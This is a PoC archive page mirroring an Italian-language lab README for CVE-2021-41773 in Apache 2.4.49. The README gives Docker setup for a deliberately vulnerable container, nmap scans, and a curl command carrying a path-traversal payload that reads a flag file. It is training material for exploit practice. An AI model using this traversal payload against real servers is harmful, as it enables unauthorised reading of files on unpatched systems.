Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-41773 PoC — Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49

Source
Associated Vulnerability
Title:Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)
Description:A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
Description
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and not earlier versions. Credits to: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773 
Readme
# CVE-2021-41773-exercise
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and not earlier versions. 

Credits intro to: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773 

Obiettivo dell’esercitazione è di sfruttare la vulnerabilità presente in **Apache 2.4.49**. Per poter sfruttarla è necessario sfruttare un "**path traversal attack**" per mappare i file al di fuori delle cartelle preconfigurate e creare una sorta di remote shell.

Per l’esercitazione è comodo utilizzare un docker vulnerabile ad hoc presente su docker hub:

Link: https://hub.docker.com/r/m96dg/pw_apache_2_4_49

**$docker pull m96dg/pw_apache_2_4_49**

![1_docker_pull](https://user-images.githubusercontent.com/65173648/151152933-92096ee8-b5c2-4812-949d-83f73a0b97d4.PNG)

Per poter vedere le immagini dei docker pullate:

**$docker images**

Runnare il docker sul porto 8080:

**$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49**

Per poter verificare che sia effettivamente in esecuzione:

**$docker ps**


![2_docker_run](https://user-images.githubusercontent.com/65173648/151153094-71ee03cb-926b-4465-b06c-4081f083d4ff.PNG)

Come si vede il web server è perfettamente funzionante:

![3_8080](https://user-images.githubusercontent.com/65173648/151153231-603bcc8b-fe61-4096-a788-1022cdf3423f.PNG)


Fase di scanning (cerchiamo di raccogliere quante più informazioni possibili dall'host):

**$nmap -sS -p- -T4 -Pn -oA portScan localhost**

![4_portScan](https://user-images.githubusercontent.com/65173648/151153252-a53ffc09-5b24-4dd8-a6ba-4f194cac8c69.PNG)

Fase di enumeration (cerchiamo di approndire le informazioni andando ad enumerare le porte trovare in fase di scansione):

**$nmap -sV -sC -oA versionScan localhost**

![5_versionScan](https://user-images.githubusercontent.com/65173648/151153309-3f8d8bd3-f069-49a8-bded-2dec83ff523d.PNG)

Per poter effettuare l'attacco, è necessario lanciare questo comando e provare a trovare la flag (qualora sia inserita in root):

**$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt**

![6_exploit](https://user-images.githubusercontent.com/65173648/151153537-49839aa2-8384-4a27-aecd-860092328205.PNG)

Per aver certezza che l'esercitazione sia andata a buon fine, e che la flag sia effettivamente quella trovata, confrontare la stringa con la sua decriptazione in **Md5** ("**HaiTrovatoLaFlag_Apache**"). Se le due stringe combaciano, allora il gioco è fatto!


File Snapshot

[4.0K] /data/pocs/8a236e682b5cbdb672e039e59c1a2aa410d91895 └── [2.8K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →